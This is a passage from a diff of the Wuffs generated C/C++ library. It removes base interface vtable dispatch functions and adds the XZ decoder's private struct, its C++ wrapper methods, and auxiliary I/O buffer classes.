WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- return 0; +-} ++struct wuffs_xz__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__hasher_u32__set_quirk( +- wuffs_base__hasher_u32* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable null_vtable; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ uint32_t f_filters[3]; ++ uint32_t f_num_non_final_filters; ++ uint8_t f_checksummer; ++ bool f_ignore_checksum; ++ bool f_standalone_format; ++ bool f_lzma_needs_reset; ++ bool f_block_has_compressed_size; ++ bool f_block_has_uncompressed_size; ++ uint8_t f_bcj_undo_index; ++ uint32_t f_bcj_pos; ++ uint32_t f_bcj_x86_prev_mask; ++ uint64_t f_block_compressed_size; ++ uint64_t f_block_uncompressed_size; ++ uint64_t f_compressed_size_for_index; ++ uint32_t f_verification_have_hashed_sizes[2]; ++ uint32_t f_verification_want_hashed_sizes[2]; ++ uint64_t f_verification_have_total_sizes[2]; ++ uint64_t f_verification_want_total_sizes[2]; ++ uint64_t f_num_actual_blocks; ++ uint64_t f_num_index_blocks; ++ uint64_t f_index_block_compressed_size; ++ uint64_t f_index_block_uncompressed_size; ++ uint64_t f_backwards_size; ++ bool f_started_verify_index; ++ uint16_t f_flags; ++ ++ uint8_t (*choosy_apply_non_final_filters)( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_decode_block_header_with_padding; ++ uint32_t p_decode_block_header_sans_padding; ++ uint32_t p_verify_index; ++ uint32_t p_verify_footer; ++ } private_impl; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ struct { ++ uint8_t f_filter_data[3][256]; ++ wuffs_crc32__ieee_hasher f_crc32; ++ wuffs_crc64__ecma_hasher f_crc64; ++ wuffs_sha256__hasher f_sha256; ++ wuffs_lzma__decoder f_lzma; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_base__hasher_u32__update( +- wuffs_base__hasher_u32* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } ++ struct { ++ uint32_t v_checksum32_have; ++ uint32_t v_checksum32_want; ++ wuffs_base__bitvec256 v_checksum256_have; ++ uint64_t v_compressed_size; ++ uint64_t v_uncompressed_size; ++ uint64_t scratch; ++ } s_do_transform_io; ++ struct { ++ uint64_t v_padded_size_have; ++ uint64_t v_padded_size_want; ++ } s_decode_block_header_with_padding; ++ struct { ++ uint8_t v_flags; ++ uint8_t v_filter_id; ++ uint32_t v_shift; ++ uint32_t v_f; ++ uint64_t scratch; ++ } s_decode_block_header_sans_padding; ++ struct { ++ uint32_t v_shift; ++ } s_verify_index; ++ struct { ++ uint64_t scratch; ++ } s_verify_footer; ++ } private_data; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; + +- return wuffs_base__make_empty_struct(); +-} ++ // On failure, the alloc_etc functions return nullptr. They don't throw. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_base__hasher_u32__update_u32( +- wuffs_base__hasher_u32* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_xz__decoder__alloc()); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update_u32)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ static inline wuffs_base__io_transformer::unique_ptr ++ alloc_as__wuffs_base__io_transformer() { ++ return wuffs_base__io_transformer::unique_ptr( ++ wuffs_xz__decoder__alloc_as__wuffs_base__io_transformer()); + } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +- return 0; +-} ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_xz__decoder__struct() = delete; ++ wuffs_xz__decoder__struct(const wuffs_xz__decoder__struct&) = delete; ++ wuffs_xz__decoder__struct& operator=( ++ const wuffs_xz__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + +-// -------- ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u64__checksum_u64( +- const wuffs_base__hasher_u64* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_xz__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->checksum_u64)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ inline wuffs_base__io_transformer* ++ upcast_as__wuffs_base__io_transformer() { ++ return (wuffs_base__io_transformer*)this; + } + +- return 0; +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u64__get_quirk( +- const wuffs_base__hasher_u64* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_xz__decoder__get_quirk(this, a_key); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_xz__decoder__set_quirk(this, a_key, a_value); + } + +- return 0; +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__hasher_u64__set_quirk( +- wuffs_base__hasher_u64* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_xz__decoder__dst_history_retain_length(this); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_xz__decoder__workbuf_len(this); + } + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_base__hasher_u64__update( +- wuffs_base__hasher_u64* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ inline wuffs_base__status ++ transform_io( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ return wuffs_xz__decoder__transform_io(this, a_dst, a_src, a_workbuf); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#endif // __cplusplus ++}; // struct wuffs_xz__decoder__struct + +- return wuffs_base__make_empty_struct(); +-} ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u64__update_u64( +- wuffs_base__hasher_u64* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) || defined(WUFFS_NONMONOLITHIC) + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update_u64)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +- return 0; +-} ++// ---------------- Auxiliary - Base + +-// -------- ++// Auxiliary code is discussed at ++// https://github.com/google/wuffs/blob/main/doc/note/auxiliary-code.md + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__decode_frame( +- wuffs_base__image_decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++#include + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_frame)(self, a_dst, a_src, a_blend, a_workbuf, a_opts); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#include ++#include + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++namespace wuffs_aux { + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__decode_frame_config( +- wuffs_base__image_decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++using IOBuffer = wuffs_base__io_buffer; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_frame_config)(self, a_dst, a_src); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// MemOwner represents ownership of some memory. Dynamically allocated memory ++// (e.g. from malloc or new) is typically paired with free or delete, invoked ++// when the std::unique_ptr is destroyed. Statically allocated memory might use ++// MemOwner(nullptr, &free), even if that statically allocated memory is not ++// nullptr, since calling free(nullptr) is a no-op. ++using MemOwner = std::unique_ptr; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++using QuirkKeyValuePair = std::pair; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__decode_image_config( +- wuffs_base__image_decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++namespace sync_io { + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_image_config)(self, a_dst, a_src); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// -------- + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++// DynIOBuffer is an IOBuffer that is backed by a dynamically sized byte array. ++// It owns that backing array and will free it in its destructor. ++// ++// The array size can be explicitly extended (by calling the grow method) but, ++// unlike a C++ std::vector, there is no implicit extension (e.g. by calling ++// std::vector::insert) and its maximum size is capped by the max_incl ++// constructor argument. ++// ++// It contains an IOBuffer-typed field whose reader side provides access to ++// previously written bytes and whose writer side provides access to the ++// allocated but not-yet-written-to slack space. For Go programmers, this slack ++// space is roughly analogous to the s[len(s):cap(s)] space of a slice s. ++class DynIOBuffer { ++ public: ++ enum GrowResult { ++ OK = 0, ++ FailedMaxInclExceeded = 1, ++ FailedOutOfMemory = 2, ++ }; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_base__image_decoder__frame_dirty_rect( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } ++ // m_buf holds the dynamically sized byte array and its read/write indexes: ++ // - m_buf.meta.wi is roughly analogous to a Go slice's length. ++ // - m_buf.data.len is roughly analogous to a Go slice's capacity. It is ++ // also equal to the m_buf.data.ptr malloc/realloc size. ++ // ++ // Users should not modify the m_buf.data.ptr or m_buf.data.len fields (as ++ // they are conceptually private to this class), but they can modify the ++ // bytes referenced by that pointer-length pair (e.g. compactions). ++ IOBuffer m_buf; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->frame_dirty_rect)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // m_max_incl is an inclusive upper bound on the backing array size. ++ const uint64_t m_max_incl; + +- return wuffs_base__utility__empty_rect_ie_u32(); +-} ++ // Constructor and destructor. ++ explicit DynIOBuffer(uint64_t max_incl); ++ ~DynIOBuffer(); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__get_quirk( +- const wuffs_base__image_decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Drop frees the byte array and resets m_buf. The DynIOBuffer can still be ++ // used after a drop call. It just restarts from zero. ++ void drop(); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // grow ensures that the byte array size is at least min_incl and at most ++ // max_incl. It returns FailedMaxInclExceeded if that would require ++ // allocating more than max_incl bytes, including the case where (min_incl > ++ // max_incl). It returns FailedOutOfMemory if memory allocation failed. ++ GrowResult grow(uint64_t min_incl); + +- return 0; +-} ++ private: ++ // Delete the copy and assign constructors. ++ DynIOBuffer(const DynIOBuffer&) = delete; ++ DynIOBuffer& operator=(const DynIOBuffer&) = delete; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__history_retain_length( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ static uint64_t round_up(uint64_t min_incl, uint64_t max_incl); ++}; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->history_retain_length)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// -------- + +- return 0; +-} ++class Input { ++ public: ++ virtual ~Input(); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_base__image_decoder__num_animation_loops( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ virtual IOBuffer* BringsItsOwnIOBuffer(); ++ virtual std::string CopyIn(IOBuffer* dst) = 0; ++}; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->num_animation_loops)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// -------- + +- return 0; +-} ++// FileInput is an Input that reads from a file source. ++// ++// It does not take responsibility for closing the file when done. ++class FileInput : public Input { ++ public: ++ FileInput(FILE* f); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__num_decoded_frame_configs( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ virtual std::string CopyIn(IOBuffer* dst); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->num_decoded_frame_configs)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ private: ++ FILE* m_f; + +- return 0; +-} ++ // Delete the copy and assign constructors. ++ FileInput(const FileInput&) = delete; ++ FileInput& operator=(const FileInput&) = delete; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__num_decoded_frames( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// -------- + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->num_decoded_frames)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// MemoryInput is an Input that reads from an in-memory source. ++// ++// It does not take responsibility for freeing the memory when done. ++class MemoryInput : public Input { ++ public: ++ MemoryInput(const char* ptr, size_t len); ++ MemoryInput(const uint8_t* ptr, size_t len); + +- return 0; +-} ++ virtual IOBuffer* BringsItsOwnIOBuffer(); ++ virtual std::string CopyIn(IOBuffer* dst); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__restart_frame( +- wuffs_base__image_decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ private: ++ IOBuffer m_io; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->restart_frame)(self, a_index, a_io_position); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // Delete the copy and assign constructors. ++ MemoryInput(const MemoryInput&) = delete; ++ MemoryInput& operator=(const MemoryInput&) = delete; ++}; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++// -------- + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__set_quirk( +- wuffs_base__image_decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++} // namespace sync_io + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++} // namespace wuffs_aux + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++// ---------------- Auxiliary - CBOR + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_base__image_decoder__set_report_metadata( +- wuffs_base__image_decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } ++namespace wuffs_aux { + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_report_metadata)(self, a_fourcc, a_report); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++struct DecodeCborResult { ++ DecodeCborResult(std::string&& error_message0, uint64_t cursor_position0); + +- return wuffs_base__make_empty_struct(); +-} ++ std::string error_message; ++ uint64_t cursor_position; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__tell_me_more( +- wuffs_base__image_decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != 